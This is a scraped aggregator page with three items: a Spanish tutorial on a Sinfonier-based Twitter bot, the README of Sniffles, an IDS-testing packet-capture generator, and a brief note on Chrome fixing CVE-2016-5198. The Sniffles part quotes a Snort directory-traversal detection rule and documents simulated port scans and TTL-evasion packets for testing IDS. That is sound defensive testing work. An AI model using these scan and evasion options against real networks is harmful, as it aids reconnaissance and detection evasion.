Quantcast
Channel: Hacking Land :: Hack, Crack and Pentest
Viewing all 1133 articles
Browse latest View live

Cómo crear un Bot para Twitter usando Sinfonier

$
0
0
En la actualidad, la cantidad de información que se genera en Internet es inmanejable de la forma tradicional, por lo que la forma natural de trabajar es con la capacidad de procesamiento automático que nos ofrecen las herramientas de Big Data y/o Cloud Computing y que usamos de manera natural para muchos de los desarrollos que hacemos en ElevenPaths.

Figura 1: Cómo crear un Bot para Twitter usando Sinfonier

Una de esas herramientas es Sinfonier, que nos permite automatizar procesos de generación de inteligencia en proyectos de análisis de ciberseguridad, y que con la versión Community podemos trabajar con fuentes de información OSINT de forma gratuita. Aquí tienes una charla que explica cómo comenzar con Sinfonier.


Figura 2: Comenzar a utilizar Sinfonier

Usando como guía el libro de 0xWord sobre Sinfonier cree un bot en Twitter, que nos permita durante el evento de “La apuesta de hoy hacia el futuro“ en Telefónica Colombia, dar las gracias a las personas que escriben trinos que contengan a alguna de las cuentas de Twitter oficiales de la operación y el hashtag del evento, que era #EmpresaDigital, por lo que la topología del análisis quedo así.

Figura 3: Topología del Bot de Twitter con Sinfonier

La topología usa un Spouts de la comunidad, que permite aprovechar el API de Twitter para capturar en tiempo real los trinos que contengan unas palabras claves, en este cao las concernientes con las cuentas oficiales de la operación de telefónica en Colombia

Figura 4: Detalle de la configuración del Spout de Twitter

Una vez se tiene esto se inicia el procesamiento y la generación de inteligencia con los datos recolectados, que en esta caso es muy simple, pues se extraen los hashtag que tenga el trino y se para por un filtro al campo “text” de la entidad del hashtag, buscando cuatro contenidos específicos. Una vez pasa el filtro el sistema usa una condicional para validar si el lenguaje del autor esta marcado como español y por último se usa otro Bolts que nos permite manejar de forma más simple las entidades de que envía la API de Twitter.

Figura 5: Detalle del análisis del twitt con el Bolt de Twitter en Sinfonier

Por último se toma un Drain para publicar en Twitter un mensaje de agradecimiento acompañado del nickname de la cuenta que origino el mensaje del tweet.

Figura 6: Drain de publicación de agradecimiento en Twitter

Al ejecutar la topología se puede apreciar el funcionamiento del Bot con una cuenta que se creo para este ejercicio y que es @csa_11paths


Figura 7: Resultado del bot

El proceso completo de como se configuraron el spout para consumir la API de Twitter se puede ver en el siguiente vídeo:

Figura 8: Cómo crear un Bot para Twitter usando Sinfonier

Más información sobre Sinfonier en los siguientes recursos:
Libro Sinfonier para Ciberseguridad
- Investigar el Cibercrimen en Android con Tacyt y Sinfonier
- Procesado y generación de ciberinteligencia con Sinfonier
- Controlar con Sinfonier un bot de Telegram con Latch y Virus Total
- ¿He sido Hackeado? Cómo construir un bolt para Sinfonier
- Desenmascarar cuentas de Twitter con una topología de Sinfonier
- El Internet de tus cosas con Edison y Sinfonier
- Cómo monitorizar la seguridad de una SmartCity con Sinfonier: Zaragoza
Autor: Diego Samuel Espitia Montenegro (@dsespitia)
Chief Security Ambassador de ElevenPaths en Colombia

Via:www.elladodelmal.com

Sniffles - Packet Capture Generator for IDS and Regular Expression Evaluation

$
0
0

Sniffles is a tool for creating packet captures that will test IDS that use fixed patterns or regular expressions for detecting suspicious behavior. Sniffles works very simply. It takes a set of regular expressions or rules and randomly chooses one regular expression or rule. It then generates content based on that rule or regular expression. For fixed strings, this means adding the string directly to the data (possibly with offsets or other options as per Snort rules). For regular expressions the process is somewhat more complex. The regular expression is converted to an NFA and a random path is chosen through the NFA (from start to end). The resulting data will match to the regular expression. Finally, Sniffles can be set to full match or partial match. With a full match, the packet data will absolutely match to at least one rule or regular expression (Some Snort options are not fully considered though). A partial match will erase the last character from a matching character sequence to a sequence that should not match (may match to another rule though). Matching rules should cause the most burden on an IDS. Thus, it is possible to determine how well the IDS handles worst case traffic. Partial matching traffic will cause almost as much burden as matching traffic. Finally, Sniffles can also generate traffic that has completely random data. Such random data offers a best case scenario as random data is very unlikely to match with any rules. Thus, it can be processed at maximum speed. Thus, Sniffles allows the creation of packet captures for best and worst case operation of IDS deep packet inspection.
In additon to above, Sniffles also has the ability to create evaluation packet captures. There are two types of evaluation packet captures. The first evaluation packet capture will create exactly one packet for each rule or regular expression, in sequence. Thus it is possible to test and see that each rule matches as expected. The full evaluation goes a step further and creates a packet for exvery possible branch in a regular expression. A single regular expression could have thousands of possible branches. This tests to ensure that all possible branches of a regular expression are handled properly. Evaluation packet captures should match all packets. Any unmatched packets most likely represent a failure of the IDS and need further investigation. Of course, there is always the possiblity that Sniffles is not creating the correct packet for a given IDS, or doesn't recognize a particular option for a rule. Check the supported rule features for more information.
Finally, Sniffles can also do a lot for generating random network traffic. By default, random traffic is TCP, UDP, or ICMP and unidirectional. However, it can also generate TCP traffic with ACKs, handshakes, and teardowns for each stream. It will generate correct sequence numbers and checksums. Further, MAC addresses can be set according to desired distributions, and IP network addresses can be defined by Home and External address spaces. In addition, it is possible to simulate scans within a traffic capture.

Install
REQUIRES: Python 3.3+ and the SortedContainers module
Sniffles consists of the following files:
  • rulereader.py: The parser for rules.
  • ruletrafficgenerator.py: The tool for generating content streams.
  • sniffles.py: The main program managing the process.
  • sniffles_config.py: handles command line input and options for Sniffles.
  • traffic_writer.py: Writes a packet into a pcap compatible file. Does not require libpcap.
  • vendor_mac_list.py: Contains MAC Organisationally Unique Identifiers used for generating semi-realistic MAC addresses rather than just randomly mashed together octets.
  • examples/vendor_mac_definition.txt: Optional file for defining the distribution of partial or full MAC addresses.
  • pcre files for pcre (pcre_chartables.c pcre_compile.c pcre_globals.c pcre_internal.h pcre_newline.c pcre_tables.c pcre.h pcrecomp.c pcreconf.py ucp.h).
  • nfa.py: for traversing NFA.
  • regex_generator.py: The code for generating random regular expressions.
  • rand_rule_gen.py, feature.py, and rule_formats.py: modules for generating random rule sets.
To install:
  1. Go to the Top-level directory.
  2. Type python3.x setup.py install .
  3. This will install the application to your system.
Install Notes:
  1. This has not been tested with Windows nor has it been tested on Linux. It has been tested on FreeBSD and Mac OS X.
  2. Use python3.x setup.py build to build locally, then go to the library directory, find the lib and use python3.4 -c "from sniffles import sniffles; sniffles.main()" to run locally.

Supported Formats:
  • Snort: Snort alert rules (rule should begin with the Alert directive). Content tags are recognized and parsed correctly. PCRE tags are likewise correctly parsed. HTTP tags are processed consecutively so they may not create the desired packet. Content (and PCRE or HTTP content) can be modified by distance, within and offset. A rule may use a flow control option, though only the direction of the data is derived from this. The nocase option is ignored and the case presented is used. All other options are ignored. The header values are parsed and a packet will be generated meeting those values. If Home and External network address spaces are used then the correct space will be used for the respective $HOME_NET and $EXTERNAL_NET variables. Example:
    alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"SERVER-APACHE Apache Tomcat UNIX platform directory traversal"; flow:to_server; content:"/..|5C|/"; content:"/..|5C|/"; http_raw_uri;
  • Regular expressions: Raw regular expressions 1 to a line written as either abc or /abc/i. Currently supports the options i, s, and m. Other options are ignored. Example:
    /ab*c(d|e)f/i
  • Sniffles Rule Format described below.

Command Line Options:
  • -a TCP Ack: Send a TCP acknowledgment for every data packet sent. Off by default. Acknowledgement packets have no data by default.
  • -b Bidirectional data: Data will be generated in both directions of a TCP stream. ACKs will be turned on. This feature is off by default.
  • -c Count: Number of streams to create. Each stream will contain a minimum of 1 packet. Packet will be between two end-points as defined by the rule or randomly chosen. tcp_handshake, tcp_teardown, and packets_per_stream will increase the number of packets per stream. Currently, data in a stream flows in only one direction. If the -b option is used data should flow in both directions. Also, Sniffles rules can designate data to flow in both directions.
  • -C Concurrent Flows: Number of flows that will be open at one time. Best effort in that if there are fewer flows than the number of concurrent flows designated then all of the current flows will be used. For example, if there are only 1000 flows remaining, but the number of concurrent flows was set to 10000, still only 1000 flows will be written out at that time. The default value is 1000. If used with duration the -C flows will be maintained throughout the duration which will ultimately disregard any input from -c. Note, the purpose of this is to create a diverse pcap where packets from the same flows are spread out rather than right next to each other and to create the illusion of many concurrent flows. In our tests, we have managed up to 2-3 million concurrent flows before memory becomes an issue. Also, we should mention that different latencies among streams can cause some flows to terminate ealier than others.
  • -d Rules Directory: path to directory containing rule files. Will read every enabled rule in all rules file in the directory. Assumes all rules end with extension .rules. Use this option or -f, but not both. The # symbol is used to deactivate (i.e. comment out) a rule.
  • -D Duration: Generate based on duration rather than on count. The duration is in seconds. Keep in mind that the default latency between packets is an average of 1-200 microseconds. For low latencies, a large duration could result in millions of packets which could take a long time to build. Also, duration is best effort. Essentially, new streams are not created after the duration is met, but there may be streams that have not completed. These are still written out so the actual duration may well be longer than that designated, but should not be less. Finally, set a larger latency if you wish to have fewer streams created during generation.
  • -e eval: Create just one packet for each rule in the rule-set. Ignores all other input except -f. Each packet will have content matching the selected rule.
  • -E Full Eval: Create one packet for each viable path in a pcre rule in the rule set. In other words ab(c|d)e would create two packets: abce and abde. Ignores all other input except -f.
  • -f Rule File: read a single rule file as per the provided path and file name.
  • -F Config: Designate a config file for Sniffles options. The config file is a way of fixing the parameters used for a run of Sniffles.
  • -g Timestamp: set the starting time for the pcap timestamp. This will be the number of seconds since 12/31/1969. Default is current time.
  • -h IP Home Prefixes: A list of IP Home Network Prefixes. IP addresses meant to come from an internal address will use these prefixes. Prefixes may designate an entire 4 byte IPv4 address in xxx.xxx format. For example: "10.192.168,172.16".
  • -H IP v6 Home Prefixes: Same as IPv4 Home Prefixes just for IPv6. Notable exceptions, the separator is a colon with two bytes represented between colons.
  • -i IPv6 percentage: Set this value between 1 and 100 to generate packets with IPv6. This will determine the percentage of streams that will be IPv6.
  • -I Intensity of scan attack (i.e. packets per second.)
  • -l Content Length: Fix the Content length to the number of bytes designated. Less than one will set the length equal to the content generated by nfa, or a random number between 10 and 1410 if headers are random too. Will truncate or pad the packet as necessary.
  • -L Latency: Average latency in microsecond. If not set a random average latency between 1 and 200 usecs is determined for each stream. Thus, the packets for a given stream will have an average latency amount of time between each packet in the flow.
  • -m Full match: Fully match rules. By default, generated content will only partially match rules, thus alerts should not be generated (not guaranteed though).
  • -M Allows the use of a MAC distribution to have a custom MAC addresses in the traffic. By default, MAC addresses are randomly generated. More information about the MAC definition file can be found in the examples/mac_definition_file.txt. Note: You can specify up to two MAC definition files in order to set different values dependent on source or destination MACs. If you specify only one file, it will be used for either direction. If you use the following notation you can specify for specific directions. For example: 'path1:path2'. Path1 will be MAC definition file for source MACs and path2 will be the MAC definition file for destination MACs. You may also use a question mark (?) to designate one or the other as random as in: '?:path2' to have random source MACs but use the file for.
  • -o output file: designate the name of the output file. By default, the file is named: sniffles.pcap.
  • -O Offset: Offset before starting a scan attack. Also used when inserting multiple scans into the traffic. This is the number of seconds before the scan will start. If used with -R, this becomes the average number of seconds prior to start.
  • -p Packets-per-stream: Designate the number of content-bearing packets for a single stream. If a positive value is provided as an argument then exactly x (if x is the provided integer) content-bearing packets will appear for each stream. If x is negative, then a random number of packets will appear for each stream (from 1 to abs(x)) By default, this value is 1.
  • -P Target Port list: For a scan attack. Provide a comma-sep list of possible ports, or a single starting port. Otherwise ports will be scanned at random. If a single starting port is provided, then ports will be scanned in order from that point to 65535, after which it will roll back to the starting point. If a list is provided, the ports in the list will be scanned round-robin.
  • -r Random: Generate random content rather than from the rules. If rules are still provided, the rules are used in the generation of the headers. Note: many features in the rules may overide certain aspects of the random generation.
  • -R Random scan Attacks: Will use the Offset to create scan attacks in the traffic, but will use the offset only as a median. The offset is used to determine the amount of time between when a scan finishes and a new scan starts.
  • -s Scan Attack: followed by a comma-sep list of ipv4 addr indicating what ip address to target. Each IP range will create one scan attack. The ranges should be like: 192.168.1.1 which would target exactly that one ip address while 192.168.1 would target a random ip addresses between 192.168.1.0 and 192.168.1.255.
  • -S Scan type: 1==Syn scan (default) 2 == Connection scan.
  • -t TCP Handshake: Include a TCP handshake in all TCPstreams. Off by default.
  • -T TCP Teardown: Include a TCP teardown in all TCPstreams. Off by default.
  • -v Verbosity: Increase the level of output messages.
  • -w write content: Write the content strings to a file called 'all.re'
  • -W Window: The window, or duration, in seconds of a scan attack.
  • -Z Reply Chance: chance that a scan will have a reply. In other words, chance the target port is open (default 20%).

Examples:
NOTE: all examples assume you have installed the sniffles package.
To generate a pcap from a single file of regular expressions with 10 streams where every packet matches a rule
sniffles -c 10 -f myre.re -m
To generate a pcap from a single snort rule file where every packet almost matches a rule
sniffles -c 10 -f myrules.rules
To generate a pcap from multiple snort rule files in a single directory where every packet matches a rule.
sniffles -c 10 -d myrulesdir -m
To generate the same pcap as above, using the same rules, but with random content (Content is random, headers will still follow the rules--does not work with regex or Sniffles rules):
sniffles -c 10 -d myrulesdir -r
To generate a pcap with 10 streams (1 packet each) and with random data:
sniffles -c 10
To generate a pcap with 10 streams, each stream with 5 packets, with ACKs and handshake and teardown as well as a fixed length of 50 for the data in each data-bearing packet:
sniffles -c 10 -p 5 -l 50 -t -T -a
To generate a pcap with 20 random streams with a home network of 192.168.1-2.x:
sniffles -c 20 -h 192.168.1,192.168.2
To generate a pcap with 20 random streams with a home network of 192.168.x.x for IPv4 and 2001:8888:8888 for IPv6 with 50% of traffic IPv6:
sniffles -c 20 -h 192.168.1 -H 2001:8888:8888 -i 50
To generate a 5 second packet capture of random packets with an average lapse between packets of 100 microseconds:
sniffles -D 5 -L 100
To generate a pcap that will create one packet matching each rule in a rule file (or regex file) in sequence:
sniffles -f myrules.rules -e
To generate a pcap that will create a packet for every possible branch of a regex for each regex in a set of regex and then save that file to a pcap named everything.pcap is as below. However, this function can run in exponential time if the regex has a large amount of min-max couning so it may take a long time to run. Further, all other options except the two illustrated below are ignored.
sniffles -f myrules.rules -o everything.pcap -E
To generate random traffic with a scan attack occuring 2 seconds in and lasting for 2 seconds with 1000 scan packets per second and with the entire capture a duration of 5 seconds and lapse time of 50us and with starting port 80 (sequentially searching ports from 80):
sniffles -D 5 -O 2 -W 2 -I 1000 -L 50 -s 192.168.1.2 -P 80
Similar to above, but will create multiple scan attacks, each with duration of 1 second, and an average offset between attacks of 2 seconds. Further, only scans the designate ports. Also targets IP address in range 192.168.1.0-255 randomly.
sniffles -D 8 -O 2 -W 1 -I 10 -L 50 -s 192.168.1 -P 80,8080,8000,8001

Sniffles Rule Format:
Sniffles supports several rule formats. First, Sniffles can parse Snort rules, and regular expressions (at one per line). In addition to this, Sniffles also has its own rule format that can be used to explicitly control traffic. This is done through the use of xml files that will describe the traffic. When this format is used the other options for Sniffles may be irrelevant. Example rule files can be found in the examples directory. These rule files are used simply by designating the rule file with the -f option (i.e. sniffles -f rules.xml)
The Sniffles rule format is as follows:
<?xml version="1.0" encoding="utf-8"?>
<petabi_rules>
<rule name="test">
<traffic_stream proto="tcp" src="any" dst="any" sport="any"
dport="any" handshake="True" teardown="True" synch="True" ip="4">
<pkt dir="to server" content="/abc/i" fragment="0" times="1" />
<pkt dir="to client" content="/def/i" fragment="0" times="1" />
</traffic_stream>
<traffic_stream proto="tcp" src="any" dst="any" sport="any"
dport="any" handshake="True" teardown="True" synch="True">
<pkt dir="to server" content="/abc/i" fragment="0" times="1" />
<pkt dir="to client" content="/def/i" fragment="0" times="1" />
</traffic_stream>
</rule>
</petabi_rules>
In detail, the tags work as follows:
  • <petabi_rules> </petabi_rules> : This defines all of the rules for this rules file. There should only be one set of these tags opening and closing all of the designated traffic streams.
    • <rule > </rule> : Designates a single rule. A single rule can generate an arbitrary number of traffic streams or packets. May have any number of rules in a single file.
      • Options:
        • name: The name for this rule. Mostly for documentation, no real function.
      • <traffic_stream> </traffic_stream> : A traffic stream defines traffic between two endpoints. All pkts designated within a single traffic stream will share the same endpoints. Any number of traffic streams can be designatted for a given rule. Different traffic streams within the same rule may have different end-points or not depending on the settings below.
        • Options:
          • typets: Specify which type of traffic stream we will use to generate packet. Currently, we have Standard and ScanAttack.
          • scantype: 1==Syn scan (default) 2 == Connection scan. It is used with ScanAttack.
          • target: Specify the target ip address for Scan Attack.
          • targetports: For a scan attack. Provide a comma-sep list of possible ports, or a single starting port. Otherwise ports will be scanned at random. If a single starting port is provided, then ports will be scanned in order from that point to 65535, after which it will roll back to the starting point. This option is used together with typets being 'ScanAttack'
          • srcport: Specify the source port for Scan Attack. Random by default
          • duration: The window, or duration, in seconds of a scan attack if typets is 'ScanAttack'
          • intensity: Intensity of scan attack if typets is 'ScanAttack'.
          • offset: Offset before starting a scan attack. Also used when inserting multiple scans into the traffic.
          • replychance: Chance that a scan will have a reply. In other words, chance the target port is open (default 20%). It is used with ScanAttack.
          • proto: Designates the protocol of this traffic stream. Should be TCP or or UDP or ICMP (not tested).
          • src: Source IP address. May be an address in xxx.xxx.xxx.xxx format, $EXTERNAL_NET (for an external address--assumes a home network has been designated), $HOME_NET, or any (randomly selects IP address).
          • dst: Destination IP Address. Same as Source IP Address.
          • sport: Source port (assumes TCP or UDP). Can use snort port formatting which can be a comma separated list in brackets (i.e. [80,88,89]), a range (i.e. [10:1000]), or any (i.e. random pick from 0-65535).
          • dport: Destination Port as per sport.
          • handshake: Will generate a TCP Handshake at the start of the stream. If excluded, there will be no handshake. Valid values are true or false. Default is false.
          • latency: set the average latency between packets (in microseconds).
          • teardown: Will close the stream when all traffic has been sent by appending the TCP teardown at the end of the traffic stream. Valid values are true or false. Default is false.
          • synch: Traffic streams are synchronous or not. When true, one traffic stream must finish prior to the next traffic stream starting. When false, all contiguous streams that are false (i.e. asynchronous) will execute at the same time.
          • tcp_overlap: The default value is false. When true, from the second packet will be appended one extra content and the tcp sequence number will be reduced by one to simulate the tcp overlapping sequence number.
          • ipv: Designate IPv4 or IPv6. Valid options are 4, or 6. Default is 4.
          • out_of_order: Randomly have packets arrive out-of-order. Note, this only works with packets that use the 'times' option. Further, this option should also be used with ack so that the proper duplicate acks will appear in the traffic trace. Valid values are true or false. Default is false.
          • out_of_order_prob: Set the probability that packets will arrive out-of-order. For example, 10 would mean that there is a 10% chance for each packet to arrive out of order. Out-of-order packets arrive after all of the in-order packets. Further, they are randomly mixed as well. Thus, if the first packets 2 and 5 of 10 packets are determined to be out of order, they will arrive last of the 10 packets (slots 9 and 10) and will be in an arbitrary order (i.e. 5 may come before 2 or vice versa). The value for this must be between 1 and 99. Default is 50.
          • packet_loss: Randomly have packets be dropped (i.e. not arrive). This only works with the 'times' option. Further, this option should also be used with the ack option set to true so that duplicate acks will appear in the traffic trace. Valid values are 1 to 99 representing the chance that a packet will be dropped. Note, the packet drop only happens on data-bearing packets, not on the acks.
          • ack: Have every data packet in this flow be followed by an ACK from the server. Valid values are true or false. Default is false.
        • <pkt > </pkt> : This directive designates either an individual packet or a series of packets. The times feature can be used to have one directive generate several packets. Otherwise, it is necessary to explicitly designate each packet in each direction.
          • Options:
            • dir: The direction of the packet. Valid values are to server or to client. The inititial src IP is considered the client, and the intitial dst IP the server. Thus 'to server' sends a packet from client to server and 'to client' send a packet from server to client. Default is to server.
            • content: Regular expression designating the content for this packet. Size of the packet will depend on the regular expression.
            • fragment: Whether or not to fragment this packet. Only works with ipv4. Should have a value larger than 2. Will create as many fragments as are valid or as designated (whichever is smaller). Default value is 0 meaning no fragments.
            • ack: Send an ack to this packet or not. Valid values are true or false. Default is false.
            • split: Split the content among the designated number of packets. By default all content is sent in a single packet (fragments are small exception to this rule).
            • times: Send this packet x times. Default value is 1, a positive value will send exactly x packets (possibly with acks if ack is true), while a negative number will send a random number of packets between 1 and abs(-x).
            • ttl: set time to live value for packet. By default, sniffles will generate random TTL value.
            • ttl_expiry: simulate the ttl expiry attack by breaking packets into multiple packet with one malicious packet between two good packet. By default, the value is 0 (No malicious packet). If the value is nonzero, it will insert malicious packet with this ttl equals ttl_expiry value. If the ttl value is set, good packet will be set with new ttl value
Final Notes: The new rule format is just a beginning and may contain problems. Please alert me of any inconsitencies or errors. Further, the intent is to exapand the options to provide more and more functionality as needed. Please contact me with desired features. Finally, this product is provided as is. There is no guaranttee of functionality or accuracy. Feel free to branch this project to meet your own needs.

Credits:
This application has been brought to you by Petabi, Inc. where we make Reliable, Realistic, and Real-fast security solutions.
Authors:
  • Victor C. Valgenti
  • Min Sik Kim
  • Tu Le

New Features:
  • 11/21/2014: Version 1.4.0 Added traffic splitting and traffobot for bi-directional traffic generation. Fixed bug where an exception was thrown when the amount of traffic generated could fit in a single traffic write call. Reformatted and enabled usage. Finally, added unit tests for traffobot and XML parsing.
  • 02/03/2015: Version 2.0. Completely rewrote how streams work in order to reduce memory requirments when generating large streams using special rules. Currently, can handle around 2-3 million concurrent flows before things bog down. I have added some features to try and help for when creating large flows. First, generate with somthing like a concurrency of 2-3 million flows. Also, do not use teardown for these flows. A fraction of the flows will last from the beginning through to the end of the capture while the remainder will be closed out every batch period. I will work on making this more efficient, but managing all of the complex options in Sniffles now cannot really be done cheaply in memory. The only other solution is to get a beefier machine with more RAM. This version also contains a variety of fixes.
  • 02/11/2015: Added probability to out-of-order packets to allow the frequency of out of order packets to be tuned.
  • 03/05/2015: Changed TCP teardown to standard teardown sequence. Now allow content to be spread across multiple packets without using fragments.
  • 04/09/2015: Fixed scan traffic, it was partially broken during one of the previous changes. The pcap starting timestamp now defaults to the current time and can be set with the -g option. Finally, the 3rd packet in the 3-way tcp handshake will now be data-bearing if the client is to send data first.
  • 05/22/2015: Rewrote rule-parsing to simplify the ability to extend rule the rule parser to accomodate more formats. Embedded nfa traversal and pcre directly into sniffles. Cleaned up code and prepared it for the public.
  • 05/27/2015: Updated documentation, merged in pcre libraries and nfa construction to make sniffles a self-contained package. Added the Regex Generator and the Random Rule Generator as a part of the Sniffles package. Updated version to 3.0.0 and published to github.
  • 08/12/2015: Implemented a large number of bug fixes and new features. Fundamentally changed how streams and flows are handled to allow for improved extensibility. Added per flow latency. Updated documentation.

Regular Expression Generator
This is a simple regular expression generator. It creates regular expressions either completely randomly, or based on a serires of distributions. The controls that can be placed on how the regular expressions are generated are structural rather than contextual. In other words, there is no effort to make certain string tokens appear in the generated regular expressions. However, the probability distributions can be tweeked to affect the types of features found in the rules like character classes, alternation, repetition, etc.

Install
Will be automatically installed with the rest of Sniffles.

Options
regexgen--Random Regular Expression Generator.
usage: regexgen [-C char distribution] [-c number regex]
[-D class distribution] [-f output re file]
[-l lambda for length generation] [-n negation probability]
[-o options chance] [-R repetition chance] [-r repetition distribution]
[-t re structural type distribution] [-?] [-g]
  • -C Character Distribution: This sets the possibility of seeing particular characters or character types. See a brief explanation of distibutions below for examples on how to use this. By default this distribution is an equal distribution. This distribution has five slots: ASCII Characters, Binary characters in \x00 format, Alphabetical letters (upper or lower case), Digits, and substitution classes (like \w). An example input to this would be "10,20,10,40,20" which would mean 10% chance any generated char would come from 10% ASCII, 20% binary, 10% letters, etc. One Caveat is that ASCII chars that might cause problems with regular expression (like `[' or '{') are converted to hex representation (\x3b for example).
  • -c Number of regular expressions to generate. Default is one.
  • -D Class Distribution: There are only two slots in the class distribution. The first slot is the probability that the class is comprised of some number of randomly generated characters. The second slot is the probability that the class is comprised of ranges (like a-z).
  • -f Output file name. This sets the name of the file where the regular expressions are stored. The default is a file named rand.re in the current working directory.
  • -g Groups: All regular expressions will have a common prefix with at least one or more other regular expressions (as long as there are more than one regex.) A common prefix is just a regular expression that is the same for some set of regular expressions. The total number of possible common prefixes is from 1 to 1/2 the size of the total regular expressions to generate. The default value for this option is false. This option takes no parameters.
  • -l Lambda for length: This is the mean length for an exponentional distribution of regular expression lengths. The default value is 10.
  • -n Negation probability: The probability that a character class will be a negation class ([^xyz]) rather than a normal character class ([xyz]). Default probability is 50%.
  • -o Option chance: This is the chance for an option to be appended to the regular expression. Current options are 'i', 'm', and 's'. A random number of options are added to the list with those options chose through a uniform distribution.
  • -R Repetition chance: The chance of repetition occuring after any structural component has been added to the regular expression.
  • -r Repetion distribution: The distribution of repetition structures. The slots are: Zero to one (?), Zero to many (*), one to many (+), and counting ({x,y}).
  • -t Re structural type distribution: The distribution for the primary structural components of the regular expression. These are comprised of three slots, or categories: characters, classes, and alternation. Note, alternation will simply generate a smaller regular expression up to the size of the remaining length left to the re. In other words, alternation will result in several smaller regular expressions being joined into the overall regular expression. The alternation uses the exact same methodology in creating those smaller regular expressions.
  • -? Print this help.
    This generator will create random regular expressions. It is possible to tune the structures within the regular expressions to a probability distribution, but currently not the content. This is desirable in order to explore the maximum diversity in possible regular expressions (though not necessarily realistic regular expressions). The distributions are handled by creating a list of probabilities for the various possibilities, or slots, for a particular distribution. These are added as command line arguments using a simple string list like: "10,30,40,20". The list should have as many values as it has slots. The total of all values in the list should be 100 and there should not be any fractions. The value at each slot is the probability that that slot will be chosen. For example, the base RE structural type distribution has three slots. The first slot is the probability that the next structure type is a character (where a character can be a letter, digit, binary, ASCII, or substitution class (like \w)). The second slot is for character classes like [ab@%], [^123], or [a-z]. The final slot is the probability of alternation occuring like (ab|cd). With these three slots you can tune how often you would like the structures to appear in your regular expressions. For example, regexgen -c 10 -t "80,10,10" would create 10 regular expressions where 80% of the structures used would be characters, 10 percent would be character classes, and 10% alternation.

Random Rule Generator
The Random Rule Generator provides a mean for creating a number of randomly generated rules with which to test a particular platform. Currently, rules generated meet either the Snort rule format or are just lines of text. In order for the Random Rule Generator to work you must have a set of features defined. Example features can be found in the example_features folder and are further described below.

Install
Automatically installed with Sniffles
Note: The Random Rule Generator makes use of the Random Regex Generator for creating content of any kind.

Options
Random Rule Generator
usage: rulegen -c [number of rules] -f [feature set] -o [outfile] [-s]
  • -c Number of rules: The number of rules to generate. Default is one.
  • -f Feature set: The file containing the feature set description. Please see the documentation for further explanation of feature sets and how to describe them.
  • -o Output file: output file to which rules are written. Default is rules.txt
  • -s Snort rule format: write rules to a snort rule format. No parameters, defaults to off. When off, rules are just converted to a string format, whatever that may be based on the feature parser.

Feature Set
Features are used to describe potential aspects of rules used in IDS. For example, a packet filter might use rules that target IP source and destination address. In that case, it would be possible to create a feature set describing how those IP source and destination addresses should be generated. More specifically, we make the distinction between simple rules and complex rules. The difference between these two is the presence of ambiguous notations. For example, if we possessed an ambiguous notation of * to mean any IP address, then we could say that * represents an ambigous notation. Further, we know that a rule can also use a non-ambigous notation, like 192.168.1.1. That would represent a simple IP address as it is a single fixed IP address without any possible ambiguous notation. We then further define the range of the particular features (i.e. IP addresses across the entire 4 billion plus possible IPv4 addresses, or just some subset of that).
The features ultimately define all of the aspects of for an arbitrary rule. Given a feature set and a valid rule format, it becomes possible to randomly generate an arbitrary number of rules that use those features. In this manner, it is possible to generate test rule sets that will examine the IDS across a vector that is often missed.
Features are defined in a semi-colon separated list one feature per line type=feature; list of arguments in key=value pairs, lists using python formatting (i.e. [a, ..., z]). Feature define specific portions of a target rule format. Features may be extended to add more functionality. Optionally, one can extend the ability of the features by creating a new rule format.
Current Feature Types:
  1. Feature -- generic feature
  2. Content -- Content Feature
  3. IP -- IP Feature
  4. Protocol -- Protocol Feature
Ambiguous lists should be written as lists like [x:y] for a range, [x,y] for a list, {x1,x2,x3} for a set or just * for a wildcard or similar single option.
Example about ambiguous list:
ambiguity_list=[[2:9]]
it will generate [3:4], [5:6], etc (any [x:y] such that
x <= y and x >= 2 and y > x and y <= 9).

ambiguity_list=[[3,20]]
it will generate [3,9,10], [3,4,8,12], etc (any list [x1,x2,x3,..]
such that all values falling between 3 and 20.

ambiguity_list=[{5,6,10}]
it will generate a subset of {5,6,10} such as {5,10}, {5}.

ambiguity_list=[[2:9],[3,20],{5,6,11}]
it will pick one of [2:9], [3,20], and {5,6,11} and
generate a corresponding instance (see above)
Example for feature file:
type=protocol; name=proto; proto_list=[TCP,UDP,ICMP]; complexity_prob=0;ambiguity_list=None;
type=ip; name=sip; version=4; complexity_prob=100;
the above defines two features, a protocol features and a source IP feature. The protocol is named proto, which is important only for the rule formatter, and the valid protocols are: IP, TCP, UDP, and ICMP. The IP feature is defined as IPv4 and all rules will be complex. IP complexity is already part of the class and need not be added in the feature definition. This will create IP addresses using CIDR notation.
Generic Feature Attributes:
  • Feature_name: Informational attribute, potentially valuable for the rule formatter.
  • lower_bound: The lower boundary of possible values. Assumes the feature is a number.
  • upper_bound: Opposite of lower_bound.
  • complexity_prob: The probability of using complex features for a rule. From 0 to 100. Defaults to 0. When complex features are used, an ambigous notation is randomly selected from the ambiguity list, or if the feature defines a specific ambiguity (like IP addresses) then that is used. When complex features are not used, a value is generated using the boundaries, or, in the case of Content, using a set of distribution values that will restrict the generated string to a series of ASCII characters.
  • ambiguity_list: A list of possible ambiguous notations. Comma-separated list using python formatting (i.e. [a, b, c]).
  • toString(): Prints out an instance of a rule given this particular feature set.
Content Feature -- Inherits from Feature:
  • regex: True or False. If True, will use pcre formatting for regex as well as possible add the options, i, s, or m to the regex.
  • length: Defines the average length of the generated content.
  • min_regex_length: Defines the minimum length of the regex.
Protocol Feature -- Inherits from Feature:
  • proto_list: Defines the list of possible protocols, as a comma-separated list (i.e [TCP, UDP]).
IP Feature -- Inherits from Feature:
  • version: 4 for IP version 4, 6 for IP version 6. Defaults to version 4.
Ambigous notation for ranges, lists, sets:
Range Notation: [x:y] means from x to y (inclusive).
List notation: [x,y] means list of some randomly determined number of values where each value is greater than or equal to x and smaller than or equal to y.
Set notation: {x1,x2,x3,x4} means a set of value x1, x2, x3, x4. It will generate a subset set of original set.
Please look at the example feature sets in the example_features folder for further examples. More details as well as the academic theory behind this are scheduled to be added later.



Via:www.kitploit.com

Google Chrome corrige la vulnerabilidad del Mobile Pwn2Own

$
0
0
El equipo de seguridad de Chrome ha reaccionado rápido ante el problema descubierto en el Mobile Pwn2Own que comentamosrecientemente. El navegador se actualizaa la versión 54.0.2840.87 para Windows y Mac, y 54.0.2840.90 para Linux para corregir una vulnerabilidad grave. 

Las vulnerabilidad a la que se le ha asignado el CVE-2016-5198 fue presentada por el equipo de seguridad Tencent Keen Security Lab en el Mobile Pwn2Own 2016, y fue premiada con más de 100.000 dólares de recompensa. Consiste en accesos fuera de límites en V8 y podría permitir la ejecución de código arbitrario.


